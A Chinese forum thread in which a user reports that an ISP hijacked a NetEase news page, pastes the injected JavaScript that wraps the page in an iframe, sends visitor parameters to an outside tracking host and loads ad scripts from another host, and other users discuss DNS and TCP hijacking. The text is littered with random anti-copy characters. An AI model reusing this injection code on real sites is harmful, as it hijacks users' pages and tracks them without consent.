上网奇遇记

hudba

+ H5 Y* ]  c6 j: ~2 ?
. Y8 i9 p: f% Q  M8 A1 _; I上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了

接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

7 Z9 ~0 r) c: p2 l# U: ~
顺便查下ip138：
( T0 A7 P3 i% u6 z: F
& `3 f* k/ l5 v1 w8 W% H这是那段js里面的代码，好象是个半成品还没写入广告数据：
" y, ?7 P' {7 u: y( i. _5 P

1. function locationSearch() {
   
2.         var s = getMainJs();
   
3.         if (s == null) {
   * u0 G6 L! P! f' x* |1 W
4.                 location.reload();
   / s3 T. s( X' h* Q. e% C+ `: H1 S
5.         }
   3 N3 p1 z3 q) `! L8 I
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   ( g! n* U5 h3 a- b
7. }
   ( N( z3 A, ]- K1 H
8. 
   
9. function getParameter(name, paraStr) {
     j5 P" a: l( K* P
10.         var result = "";
    ! z$ g" |& S+ u- n1 p$ G& Z
11.         var str = "&" + paraStr.split("?")[1];
    
12.         var paraName = "&" + name + "=";
    * Y; s8 Z/ `5 x) B5 S6 \
13.         if (str.indexOf(paraName) != -1) {
    
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    0 F3 R3 I) I4 P8 {# m/ l
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    # O8 r, N& r! u* U! }* Z8 A
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    
17.                                         1, TmpStr.length).indexOf("&")
    
18.                                         - TmpStr.indexOf(paraName) + 1);
    ! o, U2 u/ {3 \) Y2 |
19.                 } else {
    + s2 Y6 T& F: |4 @2 B  ~
20.                         result = str.substring(str.indexOf(paraName), str.length);
    ) _* C5 x! U9 j# H
21.                 }
    ; D" k! Z; l3 Q
22. 
    
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    
24.         } else {
    ! E# R9 b3 D0 B; V  v8 O. v
25.                 result = "No such parameter";
    
26.         }
    
27.         return (result.replace("&", ""));
    ( g& t8 ^* D( b9 ?" c! f
28. }
    
29. 
    
30. function getMainJs() {
    
31.         var scripts = document.getElementsByTagName("script");
    
32.         var s = null;
    # O. \# m1 l% v
33.         for (var i = 0; i < scripts.length; i++) {
    
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    6 j! ]0 e  D0 R
35.                         s = scripts[i];
    1 @/ N8 c" L5 Q% k* J
36.                         break;
    . q" J. ^" U# {2 O. M
37.                 }
    5 a5 ~, C9 T# m' q; @/ I* R
38.         }
    
39.         return s;
    7 Q' T9 J+ n7 c
40. }
    , U. U% Z. W) l4 R% F: X# h
41. 
    7 E; C" K+ K' J; J5 G- m; a
42. function appendParam(oStr, aStr) {
    7 w) s4 l9 q1 K' F; v
43.         if (oStr.indexOf('?') > 0) {
    
44.                 oStr = oStr + "&" + aStr;
    
45.         } else {
    1 O7 G  S8 D7 @2 b; S
46.                 oStr = oStr + "?" + aStr;
    
47.         }
    6 p7 z0 Z+ t2 ?
48.         return oStr;
    
49. }
    % t( m7 W/ T  u
50. 
    1 b; E0 I4 o3 b
51. window.onerror = function() {
    ) |: i4 @3 M0 f3 p
52. };
    7 y4 g# {& A) }4 K) ?* E0 Q
53. 
    
54. var g_titleTime = 0;
    9 G: \0 l0 s& `
55. function setTcTitle() {
    
56.         if (undefined == document) {
    ! B$ W) V6 [) v) V6 |6 L' @
57.                 g_titleTime++;
      K/ ~2 e7 n' S4 @
58.                 setTimeout("setTcTitle();", 1000);
    2 I- u1 l2 r% C! V9 B) e
59.                 return;
    
60.         }
    
61. 
    4 {3 Z+ k0 g3 N& W, V
62.         var doc;
    
63.         try {
    
64.                 if (document.all) {
    2 M, Y+ y6 E8 _& {# ?1 k5 i* L
65.                         doc = document.frames["cn"].document;
    & v7 y3 A+ |& n; Z" m4 V, u
66.                 } else {
    6 v1 t; K& V4 c4 G
67.                         doc = document.getElementById("cn").contentDocument;
    
68.                 }
    
69.         } catch (ex) {
    $ V/ b6 ]& ]" U" P
70.         }
    9 p3 g9 v4 |# V3 ?% q
71. 
    
72.         if (g_titleTime < 5
    
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    
74.                 g_titleTime++;
    
75.                 setTimeout("setTcTitle();", 1000);
    * w8 I+ f  g  I6 I& u, o
76.                 return;
    
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    
78.                 document.title = doc.title;
    
79.                 setTcAdvVisible();
    
80.         }
    
81. }
    
82. 
    - K' c) {% y3 V' a! ^
83. setTimeout("setTcTitle();", 1000);
    
84. 
    
85. var g_isHaveVisible = false;
    
86. function setTcAdvVisible() {
    
87.         if (undefined != document && undefined != document.getElementById("addiv")
    
88.                         && !g_isHaveVisible) {
    
89.                 document.getElementById("addiv").style.visibility = 'visible';
    
90.                 document.getElementById("addiv").style.display = 'block';
    1 ~! Q1 W+ y4 M1 f" X
91.                 g_isHaveVisible = true;
    8 E( L" w6 ~7 b
92.         }
    
93. }
    2 y' l. j* j2 x9 Y
94. 
    
95. function UrlAnalyzer() {
    3 M$ y6 r: }& V! Y) x% b, F
96.         this.divda = "";
    ) y% [& W% z* R/ [0 N+ U4 {
97.         this.tctype = "";
      d. Q8 {: o) w- }2 B( l4 y
98.         this.radius = "";
    
99.         this.rlu = "";
    ; J1 Z# N, V  V0 ^
100. }
     5 ?: i: L, B) B  K1 K! F5 n8 Q1 r( {
101. 
     ! a" w$ J: y/ r  R+ G5 d# F
102. UrlAnalyzer.prototype.initParameters = function() {
     ( _7 o6 Q1 E: L  i6 a
103.         var paraStr = locationSearch();
     ! s2 T& y1 ~/ d1 |, b9 J, Q
104.         this.rlu = getParameter("lruedct", paraStr);
     
105.         this.divda = getParameter("divda", paraStr);
     
106.         this.radius = getParameter("radius", paraStr);
     
107.         this.tctype = getParameter("tctype", paraStr);
     
108.         this.address = getParameter("address", paraStr);
     6 `) ~! M& t* g" A/ V
109.         this.usagent = getParameter("usagent", paraStr);
     0 n+ j2 y4 k- |7 J. y8 ^: a7 u
110. }
     " `+ c* o6 b- E: _2 a1 @/ C) I
111. 
     
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     
113.         var doc;
     
114.         try {
     ; N5 S( l" k- C; ]
115.                 if (document.all) {
     
116.                         doc = document.frames["cn"].document;
     & b! w6 @4 X/ n- m" K
117. 
     
118.                 } else {
     
119.                         doc = document.getElementById("cn").contentDocument;
     9 x0 t4 x$ `# n0 q
120.                         // doc = document.getElementById("cn").contentWindow.document;
     1 C4 c0 p; S! a" Q& ^
121.                 }
     % g7 K) c# n0 V! D# A' _
122.         } catch (ex) {
     - t% o; s5 O! K# }
123.         }
     4 y! D( b  x8 d+ j$ G
124.         return doc;
     
125. }
     
126. 
     1 O* G" y# B+ x0 ]; k3 Q8 r/ N& v
127. UrlAnalyzer.prototype.setDomain = function() {
     9 B* a* H( u6 v- C$ I2 _. [
128.         if (undefined != document.title && "" == document.title)
     
129.         {
     2 Y; `3 r2 c" g0 v
130.                 var index = document.domain.indexOf(".");
     1 G9 r5 a% @6 G
131.                 if (undefined != index && -1 != index) {
     / ]! i! k+ G/ H
132.                         document.domain = document.domain.substring(index + 1,
     # A8 I" N6 l1 h" p0 ?
133.                                         document.domain.length);
     ; f0 Y4 {. P4 K5 b! [7 ~" l. A4 q
134.                 }
     
135.                
     
136.                 var doc = this.getHtmlDoc();
     
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     + |  L; V# _! r( u5 ]
138.                         document.title = doc.title;
     * r# W: Q3 l$ s- a5 n
139.                         setTcAdvVisible();
     
140.                 }
     
141.         }
     # B" b( R) U1 z% W! v
142. }
     3 k3 {, P* S( `$ o% U+ F6 |) D# z
143. 
     
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     4 q0 k; N, f9 `2 v5 t! a
147.                 if (undefined != document.domain) {
     & t! i/ d$ F8 P6 w
148. 
     1 t; M/ o; m) L  a+ f% `( O
149.                         var self = this;
     . s; t6 w3 H% i& ?* D
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     9 l" g7 U9 G! S5 B6 E  t8 `$ E! `
151.                         // var index = document.domain.indexOf(".");
     
152.                         // if (undefined != index && -1 != index) {
     
153.                         // document.domain = document.domain.substring(index + 1,
     5 r; E# O1 Q1 j' l
154.                         // document.domain.length);
     ! r% `7 N# B. ?
155.                         // }
     
156.                         //
     
157.                         // var doc = this.getHtmlDoc();
     % V/ I9 T* l$ _: b' W( R7 ]
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     
159.                         // doc.title) {
     
160.                         // document.title = doc.title;
     
161.                         // setTcAdvVisible();
     % m& f( r! {5 W6 P$ o
162.                         // }
     
163.                 }
     $ ~) |" b1 y1 E! w' M0 C) C3 _
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
165.                 document.title = doc.title;
     + e: E+ o" k1 ^+ p; y/ i1 L
166.                 setTcAdvVisible();
     + z; [  @+ A# V/ V' h9 h
167.         }
     ' e* T2 [1 S- V# _
168. }
     & k( M! N; b$ B9 U6 ^6 A
169. 
     
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     
173. 
     " F% Q# u8 t4 f1 r4 K! P" ~0 ]
174.         var htmlStr = "<iframe src="" + staUrl
     
175.                         + "" style="display:none"></iframe>";
     / W7 u" o9 C6 C% ], A7 F
176. 
     
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     1 t! p' f; g+ K7 {- ~7 z1 \
180.         document.write(advUrl);
     
181. 
     
182.         var self = this;
     # `1 G1 i/ H5 a( l. J1 M
183.         var iframe = document.getElementById("cn");
     
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     
186.                         self.iframeCallback.call(self, null);
     0 V- D/ v/ l* ?$ y0 N4 v6 @
187.                 });
     
188.         } else {
     
189.                 iframe.onload = function() {
     3 N1 Q. O- z/ ?" ?+ _! f3 e
190.                         self.iframeCallback.call(self, null);
     
191.                 }
     
192.         }
     6 C6 t9 q# ~7 ~5 a3 C
193. }
     ( M, r& _& g% n1 e  B
194. 
     ( f( Y( F: Q" X
195. UrlAnalyzer.prototype.executeMain = function() {
     
196.         var mainFrame = document.getElementById("cn");
     
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     $ X$ H* n, H; J# c( A2 q
199.         this.executeHtmlContext();
     0 P8 ?/ q2 R0 P- T% _0 T
200. }
     
201. 
     % h7 l5 Z: q" ]
202. var g_analyzer = new UrlAnalyzer();
     / r; Q# k2 O0 m! x2 n9 G2 D
203. g_analyzer.executeMain();
     

复制代码

8 V2 Q' ]: u3 x+ z! ~5 T9 y" _
! e, J( B. I4 O. o" B$ a; A

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
. T7 e* t. @/ R* S+ o所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

TCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
TCP劫持，换DNS也不管用的。

2 m  Z' V" f  L5 N' V幸好联通还木有这么强的技术

哈默

在国内，习惯就好